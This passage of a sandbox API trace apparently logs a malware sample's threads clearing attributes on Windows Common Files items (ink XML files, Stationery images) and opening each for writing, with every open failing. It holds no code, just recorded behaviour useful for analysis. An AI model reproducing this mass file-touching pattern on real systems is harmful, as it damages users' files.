	[0084.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", dwFileAttributes=0x80) returned 0
	[0084.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.013] free (_Block=0x2f7b7e0) 
	[0084.013] RtlExitUserThread (Status=0x0) 

Thread:
	id = 199
	os_tid = 0x10f4

	[0084.015] _alloca_probe () returned 0x40328a
	[0084.016] GetCurrentThreadId () returned 0x10f4
	[0084.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", dwFileAttributes=0x80) returned 0
	[0084.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.016] free (_Block=0x2f7a7d8) 
	[0084.016] RtlExitUserThread (Status=0x0) 

Thread:
	id = 200
	os_tid = 0x1334

	[0084.017] _alloca_probe () returned 0x40328a
	[0084.018] GetCurrentThreadId () returned 0x1334
	[0084.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", dwFileAttributes=0x80) returned 0
	[0084.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.018] free (_Block=0x2f7a7d8) 
	[0084.018] RtlExitUserThread (Status=0x0) 

Thread:
	id = 201
	os_tid = 0x1248

	[0084.020] _alloca_probe () returned 0x40328a
	[0084.021] GetCurrentThreadId () returned 0x1248
	[0084.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", dwFileAttributes=0x80) returned 0
	[0084.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.022] free (_Block=0x2f7a7d8) 
	[0084.022] RtlExitUserThread (Status=0x0) 

Thread:
	id = 202
	os_tid = 0x101c

	[0084.025] _alloca_probe () returned 0x40328a
	[0084.026] GetCurrentThreadId () returned 0x101c
	[0084.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", dwFileAttributes=0x80) returned 0
	[0084.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.026] free (_Block=0x2f7a7d8) 
	[0084.026] RtlExitUserThread (Status=0x0) 

Thread:
	id = 203
	os_tid = 0x139c

	[0084.031] _alloca_probe () returned 0x40328a
	[0084.031] GetCurrentThreadId () returned 0x139c
	[0084.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", dwFileAttributes=0x80) returned 0
	[0084.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.031] free (_Block=0x2f7a7d8) 
	[0084.031] RtlExitUserThread (Status=0x0) 

Thread:
	id = 204
	os_tid = 0x1160

	[0084.033] _alloca_probe () returned 0x40328a
	[0084.034] GetCurrentThreadId () returned 0x1160
	[0084.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", dwFileAttributes=0x80) returned 0
	[0084.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.034] free (_Block=0x2f7a7d8) 
	[0084.034] RtlExitUserThread (Status=0x0) 

Thread:
	id = 205
	os_tid = 0x13b0

	[0084.036] _alloca_probe () returned 0x40328a
	[0084.036] GetCurrentThreadId () returned 0x13b0
	[0084.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", dwFileAttributes=0x80) returned 0
	[0084.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.037] free (_Block=0x2f7a7d8) 
	[0084.037] RtlExitUserThread (Status=0x0) 

Thread:
	id = 206
	os_tid = 0x13a4

	[0084.039] _alloca_probe () returned 0x40328a
	[0084.039] GetCurrentThreadId () returned 0x13a4
	[0084.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", dwFileAttributes=0x80) returned 0
	[0084.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.040] free (_Block=0x2f7a7d8) 
	[0084.040] RtlExitUserThread (Status=0x0) 

Thread:
	id = 207
	os_tid = 0x134c

	[0084.041] _alloca_probe () returned 0x40328a
	[0084.042] GetCurrentThreadId () returned 0x134c
	[0084.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", dwFileAttributes=0x80) returned 0
	[0084.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.042] free (_Block=0x2f7a7d8) 
	[0084.042] RtlExitUserThread (Status=0x0) 

Thread:
	id = 208
	os_tid = 0xabc

	[0084.044] _alloca_probe () returned 0x40328a
	[0084.044] GetCurrentThreadId () returned 0xabc
	[0084.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", dwFileAttributes=0x80) returned 0
	[0084.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.044] free (_Block=0x2f7a7d8) 
	[0084.045] RtlExitUserThread (Status=0x0) 

Thread:
	id = 209
	os_tid = 0x60

	[0084.046] _alloca_probe () returned 0x40328a
	[0084.047] GetCurrentThreadId () returned 0x60
	[0084.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", dwFileAttributes=0x80) returned 0
	[0084.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.048] free (_Block=0x2f7a7d8) 
	[0084.048] RtlExitUserThread (Status=0x0) 

Thread:
	id = 210
	os_tid = 0x118c

	[0084.050] _alloca_probe () returned 0x40328a
	[0084.050] GetCurrentThreadId () returned 0x118c
	[0084.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", dwFileAttributes=0x80) returned 0
	[0084.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.051] free (_Block=0x2f7a7d8) 
	[0084.051] RtlExitUserThread (Status=0x0) 

Thread:
	id = 211
	os_tid = 0x394

	[0084.052] _alloca_probe () returned 0x40328a
	[0084.053] GetCurrentThreadId () returned 0x394
	[0084.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", dwFileAttributes=0x80) returned 0
	[0084.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.053] free (_Block=0x2f7a7d8) 
	[0084.053] RtlExitUserThread (Status=0x0) 

Thread:
	id = 212
	os_tid = 0xa8c

	[0084.055] _alloca_probe () returned 0x40328a
	[0084.055] GetCurrentThreadId () returned 0xa8c
	[0084.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", dwFileAttributes=0x80) returned 0
	[0084.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.056] free (_Block=0x2f7a7d8) 
	[0084.056] RtlExitUserThread (Status=0x0) 

Thread:
	id = 213
	os_tid = 0x1a0

	[0084.057] _alloca_probe () returned 0x40328a
	[0084.058] GetCurrentThreadId () returned 0x1a0
	[0084.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml", dwFileAttributes=0x80) returned 0
	[0084.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.059] free (_Block=0x2f7a7d8) 
	[0084.059] RtlExitUserThread (Status=0x0) 

Thread:
	id = 214
	os_tid = 0x133c

	[0084.060] _alloca_probe () returned 0x40328a
	[0084.061] GetCurrentThreadId () returned 0x133c
	[0084.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml", dwFileAttributes=0x80) returned 0
	[0084.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.061] free (_Block=0x2f7a7d8) 
	[0084.061] RtlExitUserThread (Status=0x0) 

Thread:
	id = 215
	os_tid = 0xf78

	[0084.063] _alloca_probe () returned 0x40328a
	[0084.063] GetCurrentThreadId () returned 0xf78
	[0084.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", dwFileAttributes=0x80) returned 0
	[0084.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.064] free (_Block=0x2f7a7d8) 
	[0084.064] RtlExitUserThread (Status=0x0) 

Thread:
	id = 216
	os_tid = 0xf7c

	[0084.065] _alloca_probe () returned 0x40328a
	[0084.066] GetCurrentThreadId () returned 0xf7c
	[0084.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", dwFileAttributes=0x80) returned 0
	[0084.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.066] free (_Block=0x2f7a7d8) 
	[0084.066] RtlExitUserThread (Status=0x0) 

Thread:
	id = 217
	os_tid = 0xdb0

	[0084.068] _alloca_probe () returned 0x40328a
	[0084.068] GetCurrentThreadId () returned 0xdb0
	[0084.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", dwFileAttributes=0x80) returned 0
	[0084.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.069] free (_Block=0x2f7a7d8) 
	[0084.069] RtlExitUserThread (Status=0x0) 

Thread:
	id = 218
	os_tid = 0x13cc

	[0084.071] _alloca_probe () returned 0x40328a
	[0084.071] GetCurrentThreadId () returned 0x13cc
	[0084.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", dwFileAttributes=0x80) returned 0
	[0084.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.071] free (_Block=0x2f7b7e0) 
	[0084.071] RtlExitUserThread (Status=0x0) 

Thread:
	id = 219
	os_tid = 0x388

	[0084.073] _alloca_probe () returned 0x40328a
	[0084.073] GetCurrentThreadId () returned 0x388
	[0084.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", dwFileAttributes=0x80) returned 0
	[0084.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.074] free (_Block=0x2f7a7d8) 
	[0084.074] RtlExitUserThread (Status=0x0) 

Thread:
	id = 220
	os_tid = 0xa70

	[0084.076] _alloca_probe () returned 0x40328a
	[0084.077] GetCurrentThreadId () returned 0xa70
	[0084.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", dwFileAttributes=0x80) returned 0
	[0084.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.077] free (_Block=0x2f7a7d8) 
	[0084.077] RtlExitUserThread (Status=0x0) 

Thread:
	id = 221
	os_tid = 0x1324

	[0084.078] _alloca_probe () returned 0x40328a
	[0084.079] GetCurrentThreadId () returned 0x1324
	[0084.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", dwFileAttributes=0x80) returned 0
	[0084.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.080] free (_Block=0x2f7a7d8) 
	[0084.080] RtlExitUserThread (Status=0x0) 

Thread:
	id = 222
	os_tid = 0x1338

	[0084.081] _alloca_probe () returned 0x40328a
	[0084.082] GetCurrentThreadId () returned 0x1338
	[0084.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", dwFileAttributes=0x80) returned 0
	[0084.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.082] free (_Block=0x2f7a7d8) 
	[0084.082] RtlExitUserThread (Status=0x0) 

Thread:
	id = 223
	os_tid = 0x100c

	[0084.084] _alloca_probe () returned 0x40328a
	[0084.084] GetCurrentThreadId () returned 0x100c
	[0084.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", dwFileAttributes=0x80) returned 0
	[0084.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.084] free (_Block=0x2f7a7d8) 
	[0084.085] RtlExitUserThread (Status=0x0) 

Thread:
	id = 224
	os_tid = 0x1210

	[0084.086] _alloca_probe () returned 0x40328a
	[0084.087] GetCurrentThreadId () returned 0x1210
	[0084.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", dwFileAttributes=0x80) returned 0
	[0084.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.089] free (_Block=0x2f7a7d8) 
	[0084.089] RtlExitUserThread (Status=0x0) 

Thread:
	id = 225
	os_tid = 0x1404

	[0084.091] _alloca_probe () returned 0x40328a
	[0084.092] GetCurrentThreadId () returned 0x1404
	[0084.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", dwFileAttributes=0x80) returned 0
	[0084.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.092] free (_Block=0x2f7a7d8) 
	[0084.093] RtlExitUserThread (Status=0x0) 

Thread:
	id = 226
	os_tid = 0x1408

	[0084.094] _alloca_probe () returned 0x40328a
	[0084.095] GetCurrentThreadId () returned 0x1408
	[0084.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", dwFileAttributes=0x80) returned 0
	[0084.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.095] free (_Block=0x2f7a7d8) 
	[0084.095] RtlExitUserThread (Status=0x0) 

Thread:
	id = 227
	os_tid = 0x140c

	[0084.243] _alloca_probe () returned 0x40328a
	[0084.244] GetCurrentThreadId () returned 0x140c
	[0084.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 0
	[0084.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.246] free (_Block=0x2f968b8) 
	[0084.246] RtlExitUserThread (Status=0x0) 

Thread:
	id = 228
	os_tid = 0x1410

	[0084.248] _alloca_probe () returned 0x40328a
	[0084.248] GetCurrentThreadId () returned 0x1410
	[0084.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 0
	[0084.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.250] free (_Block=0x2f978c0) 
	[0084.251] RtlExitUserThread (Status=0x0) 

Thread:
	id = 229
	os_tid = 0x1414

	[0084.252] _alloca_probe () returned 0x40328a
	[0084.253] GetCurrentThreadId () returned 0x1414
	[0084.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0
	[0084.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.255] free (_Block=0x2f988c8) 
	[0084.255] RtlExitUserThread (Status=0x0) 

Thread:
	id = 230
	os_tid = 0x1418

	[0084.256] _alloca_probe () returned 0x40328a
	[0084.257] GetCurrentThreadId () returned 0x1418
	[0084.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0
	[0084.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.258] free (_Block=0x2f978c0) 
	[0084.258] RtlExitUserThread (Status=0x0) 

Thread:
	id = 231
	os_tid = 0x141c

	[0084.259] _alloca_probe () returned 0x40328a
	[0084.260] GetCurrentThreadId () returned 0x141c
	[0084.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0
	[0084.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.270] free (_Block=0x2f988c8) 
	[0084.270] RtlExitUserThread (Status=0x0) 

Thread:
	id = 232
	os_tid = 0x1420

	[0084.261] _alloca_probe () returned 0x40328a
	[0084.262] GetCurrentThreadId () returned 0x1420
	[0084.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 0
	[0084.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.269] free (_Block=0x2f978c0) 
	[0084.269] RtlExitUserThread (Status=0x0) 

Thread:
	id = 233
	os_tid = 0x1424

	[0084.263] _alloca_probe () returned 0x40328a
	[0084.264] GetCurrentThreadId () returned 0x1424
	[0084.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 0
	[0084.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.268] free (_Block=0x2f998d0) 
	[0084.268] RtlExitUserThread (Status=0x0) 

Thread:
	id = 234
	os_tid = 0x1428

	[0084.266] _alloca_probe () returned 0x40328a
	[0084.266] GetCurrentThreadId () returned 0x1428
	[0084.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0
	[0084.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.267] free (_Block=0x2f9a8d8) 
	[0084.267] RtlExitUserThread (Status=0x0) 

Thread:
	id = 235
	os_tid = 0x142c

	[0084.272] _alloca_probe () returned 0x40328a
	[0084.272] GetCurrentThreadId () returned 0x142c
	[0084.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0
	[0084.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.273] free (_Block=0x2f9b8e0) 
	[0084.273] RtlExitUserThread (Status=0x0) 

Thread:
	id = 236
	os_tid = 0x1430

	[0084.275] _alloca_probe () returned 0x40328a
